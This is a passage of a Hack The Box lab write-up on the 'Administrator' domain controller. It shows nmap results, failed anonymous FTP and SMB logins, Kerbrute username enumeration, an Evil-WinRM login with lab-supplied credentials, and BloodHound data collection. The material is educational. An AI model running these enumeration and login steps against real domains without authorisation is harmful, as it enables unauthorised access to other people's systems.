Running (JUST GUESSING): Microsoft Windows 2022|2012|2019|10|2016|7|Vista|2008 (95%), Asus embedded (85%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_10:1607 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_10:1511 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_vista::sp1:home_premium cpe:/o:microsoft:windows_server_2008 cpe:/h:asus:rt-n56u
Aggressive OS guesses: Microsoft Windows Server 2022 (95%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2019 (91%), Microsoft Windows 10 1607 (89%), Microsoft Windows 10 1703 (89%), Microsoft Windows Server 2016 (89%), Microsoft Windows 10 1511 (88%), Microsoft Windows 10 1909 (87%), Microsoft Windows 10 (87%), Microsoft Windows Server 2012 or Server 2012 R2 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m01s
| smb2-time: 
|   date: 2025-01-07T14:31:01
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   319.71 ms 10.10.14.1
2   320.12 ms 10.129.85.158

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.24 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Based on the open ports it’s very obvious this is a domain controller. FTP and WinRM ports are also open, which could be useful later on.</p>

<p>The scan found the domain name as well, I’ll add it to <code class="language-plaintext highlighter-rouge">/etc/hosts</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># HTB machine Administrator</span>
10.129.85.158   administrator.htb
</code></pre></div></div>

<h3 id="tcp21---ftp">TCP21 - FTP:</h3>

<p>With no valid credentials, I’ll try accessing the FTP share with <code class="language-plaintext highlighter-rouge">anonymous</code>, but it was unsuccessful.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ftp 10.129.85.158</span>
<span class="cmd-output">
Connected to 10.129.85.158.
220 Microsoft FTP Service
Name (10.129.85.158:ch3ng): anonymous
331 Password required
Password: 
530 User cannot log in.
ftp: Login failed
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="tcp445---smb">TCP445 - SMB:</h3>

<p>Similar results for SMB, with <code class="language-plaintext highlighter-rouge">anonymous</code>, <code class="language-plaintext highlighter-rouge">guest</code> and null sessions all failing.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">crackmapexec smb 10.129.85.158 -u '' -p '' --shares</span>
<span class="cmd-output">
SMB         10.129.85.158   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.129.85.158   445    DC               [+] administrator.htb\: 
SMB         10.129.85.158   445    DC               [-] Error enumerating shares: STATUS_ACCESS_DENIED
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">crackmapexec smb 10.129.85.158 -u 'Anonymous' -p '' --shares</span>
<span class="cmd-output">
SMB         10.129.85.158   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.129.85.158   445    DC               [-] administrator.htb\Anonymous: STATUS_LOGON_FAILURE
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">crackmapexec smb 10.129.85.158 -u 'guest' -p '' --shares</span>
<span class="cmd-output">
SMB         10.129.85.158   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.129.85.158   445    DC               [-] administrator.htb\guest: STATUS_ACCOUNT_DISABLED
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="tcp88---kerberos">TCP88 - Kerberos:</h3>

<p>Meanwhile, my Kerbrute scan has finished in the background, and returned a handful of accounts.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">kerbrute userenum -d administrator.htb --dc 10.129.85.158 -t 100 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt</span>
<span class="cmd-output">
&nbsp;
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 01/07/25 - Ronnie Flathers @ropnop

2025/01/07 18:05:48 &gt;  Using KDC(s):
2025/01/07 18:05:48 &gt;  	10.129.85.158:88

2025/01/07 18:05:49 &gt;  [+] VALID USERNAME:	 michael@administrator.htb
2025/01/07 18:05:49 &gt;  [+] VALID USERNAME:	 Michael@administrator.htb
2025/01/07 18:05:49 &gt;  [+] VALID USERNAME:	 benjamin@administrator.htb
2025/01/07 18:05:54 &gt;  [+] VALID USERNAME:	 administrator@administrator.htb
2025/01/07 18:05:54 &gt;  [+] VALID USERNAME:	 emily@administrator.htb
2025/01/07 18:05:55 &gt;  [+] VALID USERNAME:	 MICHAEL@administrator.htb
2025/01/07 18:05:57 &gt;  [+] VALID USERNAME:	 olivia@administrator.htb
2025/01/07 18:05:59 &gt;  [+] VALID USERNAME:	 Benjamin@administrator.htb
2025/01/07 18:06:02 &gt;  [+] VALID USERNAME:	 ethan@administrator.htb
2025/01/07 18:06:33 &gt;  [+] VALID USERNAME:	 Administrator@administrator.htb
2025/01/07 18:07:13 &gt;  [+] VALID USERNAME:	 BENJAMIN@administrator.htb
2025/01/07 18:08:01 &gt;  [+] VALID USERNAME:	 Emily@administrator.htb
2025/01/07 18:08:28 &gt;  [+] VALID USERNAME:	 Olivia@administrator.htb
2025/01/07 18:09:08 &gt;  [+] VALID USERNAME:	 Ethan@administrator.htb
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p><a href="https://github.com/ropnop/kerbrute">Kerbrute</a> is a brute-force tool that leverages Kerberos pre-authentication to enumerate valid domain usernames. In a typical Kerberos exchange, a user requests a Ticket Granting Ticket (TGT) from the Key Distribution Centre (KDC) by sending an encrypted timestamp along with its username as proof of identity. If the provided username does not exist in the domain, the KDC responds with an error message different to when the user exists but the password is incorrect. The distinction in the error messages is then leveraged by Kerbrute to identify valid accounts. A more detailed explanation of Kerberos authentication can be found in <a href="https://www.tarlogic.com/blog/how-kerberos-works/">this page</a>.</p>

<p>With each of the valid usernames identified, I tried to authenticate to FTP and SMB with a blank password, but none worked.</p>

<h3 id="hidden-in-plain-sight">Hidden in Plain Sight…</h3>

<p>At this point I felt pretty lost, nothing seems exploitable. I was about to take a break and shut down the instance, and it’s only at this moment did I realize credentials were provided right from the start.</p>

<p><img src="/assets/images/posts/administrator/1.png" alt="" /></p>

<p>I was in disbelief! Foothold was simply logging in to WinRM with the provided credentials. Easy as that!</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">evil-winrm -u 'Olivia' -p 'ichliebedich' -i administrator.htb</span>
<span class="cmd-output">
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\olivia\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">administrator\olivia</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>I guess this highlights the importance of a clear head and attention to detail. I’ve wasted hours hitting a brick wall, all because I missed a single line of information at the beginning.</p>

<hr />
<h2 id="escalation-olivia">Escalation from <code class="language-plaintext highlighter-rouge">olivia</code>:</h2>
<h3 id="bloodhound-enumeration">BloodHound Enumeration:</h3>

<p>In a typical AD setup, there are thousands of relationships and permissions between various users, groups and objects. These are often misconfigured in ways that can be exploited, but manually enumerating them is challenging due to its sheer scale and complexity. This is why <a href="https://github.com/SpecterOps/BloodHound-Legacy">BloodHound</a> is an essential tool for AD pentests, as it visually maps out these relationships in a graph form, making it significantly easier to identify any privilege escalation paths that exists.</p>

<p>First, I need to gather all the data for BloodHound to visualize. Since I already have valid domain creds, I’ll use <code class="language-plaintext highlighter-rouge">bloodhound-python</code> to collect them via LDAP.</p>

<p>Command: <code class="language-plaintext highlighter-rouge">bloodhound-python -u olivia -d administrator.htb -c all -v -ns 10.129.85.158</code></p>

<p>The command may take a while to run. When it’s done, 7 JSON files are created.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator/bloodhound</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ls -la</span>
<span class="cmd-output">
total 184
drwxr-xr-x 2 chengw chengw  4096 Jan  7 23:25 .
drwxr-xr-x 3 chengw chengw  4096 Jan  7 23:21 ..
-rw-r--r-- 1 chengw chengw    74 Jan  7 23:25 20250107232443_computers.json
-rw-r--r-- 1 chengw chengw 27939 Jan  7 23:25 20250107232443_containers.json
-rw-r--r-- 1 chengw chengw  4366 Jan  7 23:25 20250107232443_domains.json
-rw-r--r-- 1 chengw chengw  4416 Jan  7 23:25 20250107232443_gpos.json
-rw-r--r-- 1 chengw chengw 91522 Jan  7 23:25 20250107232443_groups.json
-rw-r--r-- 1 chengw chengw  1844 Jan  7 23:25 20250107232443_ous.json
-rw-r--r-- 1 chengw chengw 28783 Jan  7 23:25 20250107232443_users.json
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
